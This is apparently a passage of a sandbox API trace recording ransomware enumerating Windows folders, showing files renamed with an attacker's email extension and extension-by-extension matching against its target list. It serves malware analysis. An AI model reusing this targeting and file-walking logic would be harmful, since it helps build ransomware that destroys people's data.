ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STOPIC~1.NEW")) returned 1 [0157.754] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39e94783, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39e94783, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~1.NEW")) returned 1 [0157.754] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39eba991, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39eba991, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39eba991, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SYSREQ~2.NEW")) returned 1 [0157.754] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 1 [0157.754] FindNextFileW (in: hFindFile=0x4842d8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39ee0cbe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39ee0cbe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39ee0cbe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WARNIC~1.NEW")) returned 0 [0157.754] FindClose (in: hFindFile=0x4842d8 | out: hFindFile=0x4842d8) returned 1 [0157.755] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.755] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d3d21a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d3d21a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39d3d21a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="HEADER~1.NEW")) returned 1 [0157.755] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3e44d3c7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~1.NEW")) returned 1 [0157.755] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x3bd79157, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~2.NEW")) returned 1 [0157.756] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a2da735, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a2da735, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b0dcfc7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~3.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3ef8aec4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NETFX_~4.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3b8641f8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3b8641f8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b8b075d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NE67EB~1.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bd79157, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bd79157, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c31ec42, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="NEF737~1.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39d91719, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39d91719, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39dd5c3e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="PARAME~1.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3bdc180a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3bdc180a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3bdc180a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~1.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c3456c9, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c3456c9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d41b700, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="RGB9RA~2.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c36cc26, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c36cc26, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3c36cc26, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~1.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3c394655, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3c394655, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d49547b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPE~2.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3d41b700, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3d41b700, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3d4418ed, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~2.NEW")) returned 1 [0157.757] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f06df4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f06df4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f06df4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da516c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da516c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da516c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPU~3.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f2d17a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f2d17a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f2d17a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SPLASH~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3da782a8, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3da782a8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3da782a8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SQMAPI~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3a53cc14, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a53cc14, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a53cc14, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="STRING~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f53441, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f53441, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f7a751, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="UIINFO~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39f7a751, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39f7a751, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39f9f7e1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WATERM~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x3f30de6b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~1.NEW")) returned 1 [0157.758] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x3ee6f614, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~2.NEW")) returned 1 [0157.759] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x3fd2fbc8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~3.NEW")) returned 1 [0157.759] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 1 [0157.759] FindNextFileW (in: hFindFile=0x484898, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3fb42df3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="WINDOW~4.NEW")) returned 0 [0157.759] FindClose (in: hFindFile=0x484898 | out: hFindFile=0x484898) returned 1 [0157.759] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0157.761] FindNextFileW (in: hFindFile=0x484118, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0157.761] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fb0978 [0157.762] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484418 [0157.763] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0157.764] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0157.764] FindNextFileW (in: hFindFile=0x484418, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0157.764] lstrlenW (lpString="BCD.LOG") returned 7 [0157.765] lstrlenW (lpString=".1cd") returned 4 [0157.765] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0157.765] lstrlenW (lpString=".3ds") returned 4 [0157.765] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1 [0157.765] lstrlenW (lpString=".3fr") returned 4 [0157.765] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1 [0157.765] lstrlenW (lpString=".3g2") returned 4 [0157.765] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1 [0157.765] lstrlenW (lpString=".3gp") returned 4 [0157.765] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1 [0157.765] lstrlenW (lpString=".7z") returned 3 [0157.765] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0157.765] lstrlenW (lpString=".accda") returned 6 [0157.765] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1 [0157.765] lstrlenW (lpString=".accdb") returned 6 [0157.765] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1 [0157.765] lstrlenW (lpString=".accdc") returned 6 [0157.765] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1 [0157.765] lstrlenW (lpString=".accde") returned 6 [0157.765] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1 [0157.765] lstrlenW (lpString=".accdt") returned 6 [0157.765] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1 [0157.765] lstrlenW (lpString=".accdw") returned 6 [0157.765] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1 [0157.765] lstrlenW (lpString=".adb") returned 4 [0157.765] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1 [0157.765] lstrlenW (lpString=".adp") returned 4 [0157.765] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ai") returned 3 [0157.766] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1 [0157.766] lstrlenW (lpString=".ai3") returned 4 [0157.766] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ai4") returned 4 [0157.766] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ai5") returned 4 [0157.766] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ai6") returned 4 [0157.766] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ai7") returned 4 [0157.766] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ai8") returned 4 [0157.766] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".anim") returned 5 [0157.766] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1 [0157.766] lstrlenW (lpString=".arw") returned 4 [0157.766] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".as") returned 3 [0157.766] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1 [0157.766] lstrlenW (lpString=".asa") returned 4 [0157.766] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".asc") returned 4 [0157.766] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".ascx") returned 5 [0157.766] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1 [0157.766] lstrlenW (lpString=".asm") returned 4 [0157.766] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1 [0157.766] lstrlenW (lpString=".asmx") returned 5 [0157.767] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1 [0157.767] lstrlenW (lpString=".asp") returned 4 [0157.767] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".aspx") returned 5 [0157.767] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1 [0157.767] lstrlenW (lpString=".asr") returned 4 [0157.767] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".asx") returned 4 [0157.767] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".avi") returned 4 [0157.767] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".avs") returned 4 [0157.767] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".backup") returned 7 [0157.767] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1 [0157.767] lstrlenW (lpString=".bak") returned 4 [0157.767] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".bay") returned 4 [0157.767] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1 [0157.767] lstrlenW (lpString=".bd") returned 3 [0157.767] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1 [0157.767] lstrlenW (lpString=".bin") returned 4 